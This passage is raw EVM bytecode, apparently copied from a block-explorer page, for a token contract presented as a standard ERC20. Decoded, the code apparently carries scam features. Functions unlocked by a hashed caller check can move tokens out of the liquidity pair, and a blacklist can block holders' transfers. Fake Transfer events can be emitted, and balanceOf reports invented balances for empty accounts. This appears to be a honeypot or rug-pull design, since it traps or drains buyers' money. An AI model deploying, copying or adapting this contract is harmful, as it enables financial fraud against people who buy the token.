405180910390f35b61032d600480360381019061032891906124ba565b6107f6565b005b6103376108c5565b60405161034491906128a4565b60405180910390f35b610367600480360381019061036291906123d9565b6108df565b6040516103749190612767565b60405180910390f35b610397600480360381019061039291906122ac565b610984565b005b6103a1610a45565b6040516103ae919061274c565b60405180910390f35b6103bf610a6b565b6040516103cc919061274c565b60405180910390f35b6103ef60048036038101906103ea91906122ac565b610a91565b6040516103fc9190612767565b60405180910390f35b61041f600480360381019061041a91906122ac565b610ab1565b60405161042c91906128a4565b60405180910390f35b61044f600480360381019061044a91906122ac565b610ac9565b60405161045c91906128a4565b60405180910390f35b61046d610b9b565b60405161047a919061274c565b60405180910390f35b61048b610bc1565b6040516104989190612782565b60405180910390f35b6104bb60048036038101906104b69190612419565b610c53565b005b6104d760048036038101906104d29190612399565b610d07565b005b6104f360048036038101906104ee91906123d9565b610ddf565b6040516105009190612767565b60405180910390f35b610523600480360381019061051e91906123d9565b610e9e565b6040516105309190612767565b60405180910390f35b610553600480360381019061054e91906122ac565b610eb5565b6040516105609190612767565b60405180910390f35b610571610ed5565b60405161057e919061274c565b60405180910390f35b6105a1600480360381019061059c9190612306565b610efb565b6040516105ae91906128a4565b60405180910390f35b6105d160048036038101906105cc91906122ac565b610f82565b6040516105de9190612767565b60405180910390f35b6105ef610fa2565b6040516105fc9190612767565b60405180910390f35b600e6020528060005260406000206000915054906101000a900460ff1681565b60606003805461063490612a12565b80601f016020809104026020016040519081016040528092919081815260200182805461066090612a12565b80156106ad5780601f10610682576101008083540402835291602001916106ad565b820191906000526020600020905b81548152906001019060200180831161069057829003601f168201915b5050505050905090565b60006106c4338484610fb5565b6001905092915050565b601b60009054906101000a900460ff1681565b6000600654905090565b60266020528060005260406000206000915054906101000a900460ff1681565b6000610718848484611180565b6107cb84336107c685604051806060016040528060288152602001612e3b60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aea9092919063ffffffff16565b610fb5565b600190509392505050565b60116020528060005260406000206000915054906101000a900460ff1681565b601c5460023360405160200161080c919061271a565b6040516020818303038152906040526040516108289190612735565b602060405180830381855afa158015610845573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610868919061248d565b14610872576108c2565b6108c1601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611b4e565b5b50565b6000600560009054906101000a900460ff1660ff16905090565b600061097a338461097585600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3f90919063ffffffff16565b610fb5565b6001905092915050565b601c5460023360405160200161099a919061271a565b6040516020818303038152906040526040516109b69190612735565b602060405180830381855afa1580156109d3573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906109f6919061248d565b14610a0057610a42565b80601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d6020528060005260406000206000915054906101000a900460ff1681565b601e6020528060005260406000206000915090505481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b31906127e4565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415610b9157600754915050610b96565b809150505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610bd090612a12565b80601f0160208091040260200160405190810160405280929190818152602001828054610bfc90612a12565b8015610c495780601f10610c1e57610100808354040283529160200191610c49565b820191906000526020600020905b815481529060010190602001808311610c2c57829003601f168201915b5050505050905090565b60005b84849050811015610d0057848482818110610c7457610c73612b0f565b5b9050602002016020810190610c8991906122ac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce591906128a4565b60405180910390a38080610cf890612a44565b915050610c56565b5050505050565b601c54600233604051602001610d1d919061271a565b604051602081830303815290604052604051610d399190612735565b602060405180830381855afa158015610d56573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d79919061248d565b14610d8357610ddb565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000610e943384610e8f85604051806060016040528060258152602001612e6360259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aea9092919063ffffffff16565b610fb5565b6001905092915050565b6000610eab338484611180565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b601760009054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101c90612884565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c906127c4565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117391906128a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611260576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611257906127a4565b60405180910390fd5b600081116112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a90612844565b60405180910390fd5b6000819050600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113495750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561135f57611359848483611e9d565b50611ae5565b60008390506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601854601660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140591906128f1565b119050811561141357600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415611ad557600080600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516115019190612735565b6000604051808303816000865af19150503d806000811461153e576040519150601f19603f3d011682016040523d82523d6000602084013e611543565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516115db9190612735565b6000604051808303816000865af19150503d8060008114611618576040519150601f19603f3d011682016040523d82523d6000602084013e61161d565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116b59190612735565b6000604051808303816000865af19150503d80600081146116f2576040519150601f19603f3d011682016040523d82523d6000602084013e6116f7565b606091505b50915050600080828060200190518101906117129190612514565b9150915060008580602001905181019061172c91906122d9565b905060008580602001905181019061174491906122d9565b905060008273ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602401611792919061274c565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161181c9190612735565b6000604051808303816000865af19150503d8060008114611859576040519150601f19603f3d011682016040523d82523d6000602084013e61185e565b606091505b5091505060008180602001905181019061187891906124e7565b905060008373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016118c6919061274c565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119509190612735565b6000604051808303816000865af19150503d806000811461198d576040519150601f19603f3d011682016040523d82523d6000602084013e611992565b606091505b509150506000818060200190518101906119ac91906124e7565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611a315782881115611a26578288611a189190612947565b9b506015548c119d50611a2c565b8288149c505b611ab1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611ab05780871115611aa9578087611a9b9190612947565b9b506015548c119d50611aaf565b8087149c505b5b5b8d158015611abd57508c155b611ac657600080fd5b50505050505050505050505050505b611ae0878786611e9d565b505050505b505050565b6000838311158290611b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b299190612782565b60405180910390fd5b5060008385611b419190612947565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb590612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c25906127a4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca690612824565b60405180910390fd5b611d00816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d93816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e3291906128a4565b60405180910390a3505050565b6000808284611e4e91906128f1565b905083811015611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a90612804565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0490612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f74906127a4565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff590612824565b60405180910390fd5b61204f816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120e2816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3f90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161218191906128a4565b60405180910390a3505050565b60006121d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aea565b905092915050565b6000813590506121e781612dc7565b92915050565b6000815190506121fc81612dde565b92915050565b60008083601f84011261221857612217612b43565b5b8235905067ffffffffffffffff81111561223557612234612b3e565b5b60208301915083602082028301111561225157612250612b48565b5b9250929050565b60008135905061226781612df5565b92915050565b60008151905061227c81612e0c565b92915050565b60008135905061229181612e23565b92915050565b6000815190506122a681612e23565b92915050565b6000602082840312156122c2576122c1612b52565b5b60006122d0848285016121d8565b91505092915050565b6000602082840312156122ef576122ee612b52565b5b60006122fd848285016121ed565b91505092915050565b6000806040838503121561231d5761231c612b52565b5b600061232b858286016121d8565b925050602061233c858286016121d8565b9150509250929050565b60008060006060848603121561235f5761235e612b52565b5b600061236d868287016121d8565b935050602061237e868287016121d8565b925050604061238f86828701612282565b9150509250925092565b600080604083850312156123b0576123af612b52565b5b60006123be858286016121d8565b92505060206123cf85828601612258565b9150509250929050565b600080604083850312156123f0576123ef612b52565b5b60006123fe858286016121d8565b925050602061240f85828601612282565b9150509250929050565b6000806000806060858703121561243357612432612b52565b5b600085013567ffffffffffffffff81111561245157612450612b4d565b5b61245d87828801612202565b94509450506020612470878288016121d8565b925050604061248187828801612282565b91505092959194509250565b6000602082840312156124a3576124a2612b52565b5b60006124b18482850161226d565b91505092915050565b6000602082840312156124d0576124cf612b52565b5b60006124de84828501612282565b91505092915050565b6000602082840312156124fd576124fc612b52565b5b600061250b84828501612297565b91505092915050565b6000806040838503121561252b5761252a612b52565b5b600061253985828601612297565b925050602061254a85828601612297565b9150509250929050565b61255d8161297b565b82525050565b61257461256f8261297b565b612a8d565b82525050565b6125838161299f565b82525050565b6000612594826128bf565b61259e81856128d5565b93506125ae8185602086016129df565b80840191505092915050565b60006125c5826128ca565b6125cf81856128e0565b93506125df8185602086016129df565b6125e881612b57565b840191505092915050565b60006126006023836128e0565b915061260b82612b75565b604082019050919050565b60006126236022836128e0565b915061262e82612bc4565b604082019050919050565b60006126466022836128e0565b915061265182612c13565b604082019050919050565b6000612669601b836128e0565b915061267482612c62565b602082019050919050565b600061268c6026836128e0565b915061269782612c8b565b604082019050919050565b60006126af6029836128e0565b91506126ba82612cda565b604082019050919050565b60006126d26025836128e0565b91506126dd82612d29565b604082019050919050565b60006126f56024836128e0565b915061270082612d78565b604082019050919050565b612714816129d5565b82525050565b60006127268284612563565b60148201915081905092915050565b60006127418284612589565b915081905092915050565b60006020820190506127616000830184612554565b92915050565b600060208201905061277c600083018461257a565b92915050565b6000602082019050818103600083015261279c81846125ba565b905092915050565b600060208201905081810360008301526127bd816125f3565b9050919050565b600060208201905081810360008301526127dd81612616565b9050919050565b600060208201905081810360008301526127fd81612639565b9050919050565b6000602082019050818103600083015261281d8161265c565b9050919050565b6000602082019050818103600083015261283d8161267f565b9050919050565b6000602082019050818103600083015261285d816126a2565b9050919050565b6000602082019050818103600083015261287d816126c5565b9050919050565b6000602082019050818103600083015261289d816126e8565b9050919050565b60006020820190506128b9600083018461270b565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006128fc826129d5565b9150612907836129d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293c5761293b612ab1565b5b828201905092915050565b6000612952826129d5565b915061295d836129d5565b9250828210156129705761296f612ab1565b5b828203905092915050565b6000612986826129b5565b9050919050565b6000612998826129b5565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156129fd5780820151818401526020810190506129e2565b83811115612a0c576000848401525b50505050565b60006002820490506001821680612a2a57607f821691505b60208210811415612a3e57612a3d612ae0565b5b50919050565b6000612a4f826129d5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a8257612a81612ab1565b5b600182019050919050565b6000612a9882612a9f565b9050919050565b6000612aaa82612b68565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f62616c616e636520717565727920666f7220746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dd08161297b565b8114612ddb57600080fd5b50565b612de78161298d565b8114612df257600080fd5b50565b612dfe8161299f565b8114612e0957600080fd5b50565b612e15816129ab565b8114612e2057600080fd5b50565b612e2c816129d5565b8114612e3757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122073c355d7f38c992bff0a04a88dc2fc90fd019e3665cfa2e579d583b05a3267c264736f6c63430008060033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063586cf9d8116100f9578063a457c2d711610097578063c45a015511610071578063c45a015514610569578063dd62ed3e14610587578063e886db22146105b7578063eb2be451146105e7576101c4565b8063a457c2d7146104d9578063a9059cbb14610509578063b439f58f14610539576101c4565b8063927f3d41116100d3578063927f3d411461046557806395d89b4114610483578063983bc41b146104a1578063a15573ff146104bd576101c4565b8063586cf9d8146103d55780635fc95e471461040557806370a0823114610435576101c4565b80632a2cbcc0116101665780633950935111610140578063395093511461034d57806340eec0ee1461037d57806349bd5a5e1461039957806353b16dec146103b7576101c4565b80632a2cbcc0146102e35780632f2b438b14610313578063313ce5671461032f576101c4565b8063156766b5116101a2578063156766b51461024757806318160ddd146102655780631c6543d11461028357806323b872dd146102b3576101c4565b8063064fd4c0146101c957806306fdde03146101f9578063095ea7b314610217575b600080fd5b6101e360048036038101906101de91906122ac565b610605565b6040516101f09190612767565b60405180910390f35b610201610625565b60405161020e9190612782565b60405180910390f35b610231600480360381019061022c91906123d9565b6106b7565b60405161023e9190612767565b60405180910390f35b61024f6106ce565b60405161025c9190612767565b60405180910390f35b61026d6106e1565b60405161027a91906128a4565b60405180910390f35b61029d600480360381019061029891906122ac565b6106eb565b6040516102aa9190612767565b60405180910390f35b6102cd60048036038101906102c89190612346565b61070b565b6040516102da9190612767565b60405180910390f35b6102fd60048036038101906102f891906122ac565b6107d6565b60405161030a9190612767565b60405180910390f35b61032d600480360381019061032891906124ba565b6107f6565b005b6103376108c5565b60405161034491906128a4565b60405180910390f35b610367600480360381019061036291906123d9565b6108df565b6040516103749190612767565b60405180910390f35b610397600480360381019061039291906122ac565b610984565b005b6103a1610a45565b6040516103ae919061274c565b60405180910390f35b6103bf610a6b565b6040516103cc919061274c565b60405180910390f35b6103ef60048036038101906103ea91906122ac565b610a91565b6040516103fc9190612767565b60405180910390f35b61041f600480360381019061041a91906122ac565b610ab1565b60405161042c91906128a4565b60405180910390f35b61044f600480360381019061044a91906122ac565b610ac9565b60405161045c91906128a4565b60405180910390f35b61046d610b9b565b60405161047a919061274c565b60405180910390f35b61048b610bc1565b6040516104989190612782565b60405180910390f35b6104bb60048036038101906104b69190612419565b610c53565b005b6104d760048036038101906104d29190612399565b610d07565b005b6104f360048036038101906104ee91906123d9565b610ddf565b6040516105009190612767565b60405180910390f35b610523600480360381019061051e91906123d9565b610e9e565b6040516105309190612767565b60405180910390f35b610553600480360381019061054e91906122ac565b610eb5565b6040516105609190612767565b60405180910390f35b610571610ed5565b60405161057e919061274c565b60405180910390f35b6105a1600480360381019061059c9190612306565b610efb565b6040516105ae91906128a4565b60405180910390f35b6105d160048036038101906105cc91906122ac565b610f82565b6040516105de9190612767565b60405180910390f35b6105ef610fa2565b6040516105fc9190612767565b60405180910390f35b600e6020528060005260406000206000915054906101000a900460ff1681565b60606003805461063490612a12565b80601f016020809104026020016040519081016040528092919081815260200182805461066090612a12565b80156106ad5780601f10610682576101008083540402835291602001916106ad565b820191906000526020600020905b81548152906001019060200180831161069057829003601f168201915b5050505050905090565b60006106c4338484610fb5565b6001905092915050565b601b60009054906101000a900460ff1681565b6000600654905090565b60266020528060005260406000206000915054906101000a900460ff1681565b6000610718848484611180565b6107cb84336107c685604051806060016040528060288152602001612e3b60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aea9092919063ffffffff16565b610fb5565b600190509392505050565b60116020528060005260406000206000915054906101000a900460ff1681565b601c5460023360405160200161080c919061271a565b6040516020818303038152906040526040516108289190612735565b602060405180830381855afa158015610845573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610868919061248d565b14610872576108c2565b6108c1601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611b4e565b5b50565b6000600560009054906101000a900460ff1660ff16905090565b600061097a338461097585600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3f90919063ffffffff16565b610fb5565b6001905092915050565b601c5460023360405160200161099a919061271a565b6040516020818303038152906040526040516109b69190612735565b602060405180830381855afa1580156109d3573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906109f6919061248d565b14610a0057610a42565b80601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d6020528060005260406000206000915054906101000a900460ff1681565b601e6020528060005260406000206000915090505481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b31906127e4565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415610b9157600754915050610b96565b809150505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610bd090612a12565b80601f0160208091040260200160405190810160405280929190818152602001828054610bfc90612a12565b8015610c495780601f10610c1e57610100808354040283529160200191610c49565b820191906000526020600020905b815481529060010190602001808311610c2c57829003601f168201915b5050505050905090565b60005b84849050811015610d0057848482818110610c7457610c73612b0f565b5b9050602002016020810190610c8991906122ac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ce591906128a4565b60405180910390a38080610cf890612a44565b915050610c56565b5050505050565b601c54600233604051602001610d1d919061271a565b604051602081830303815290604052604051610d399190612735565b602060405180830381855afa158015610d56573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610d79919061248d565b14610d8357610ddb565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000610e943384610e8f85604051806060016040528060258152602001612e6360259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aea9092919063ffffffff16565b610fb5565b6001905092915050565b6000610eab338484611180565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b601760009054906101000a900460ff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101c90612884565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c906127c4565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117391906128a4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e790612864565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611260576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611257906127a4565b60405180910390fd5b600081116112a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129a90612844565b60405180910390fd5b6000819050600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113495750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561135f57611359848483611e9d565b50611ae5565b60008390506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601854601660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140591906128f1565b119050811561141357600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415611ad557600080600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516115019190612735565b6000604051808303816000865af19150503d806000811461153e576040519150601f19603f3d011682016040523d82523d6000602084013e611543565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516115db9190612735565b6000604051808303816000865af19150503d8060008114611618576040519150601f19603f3d011682016040523d82523d6000602084013e61161d565b606091505b50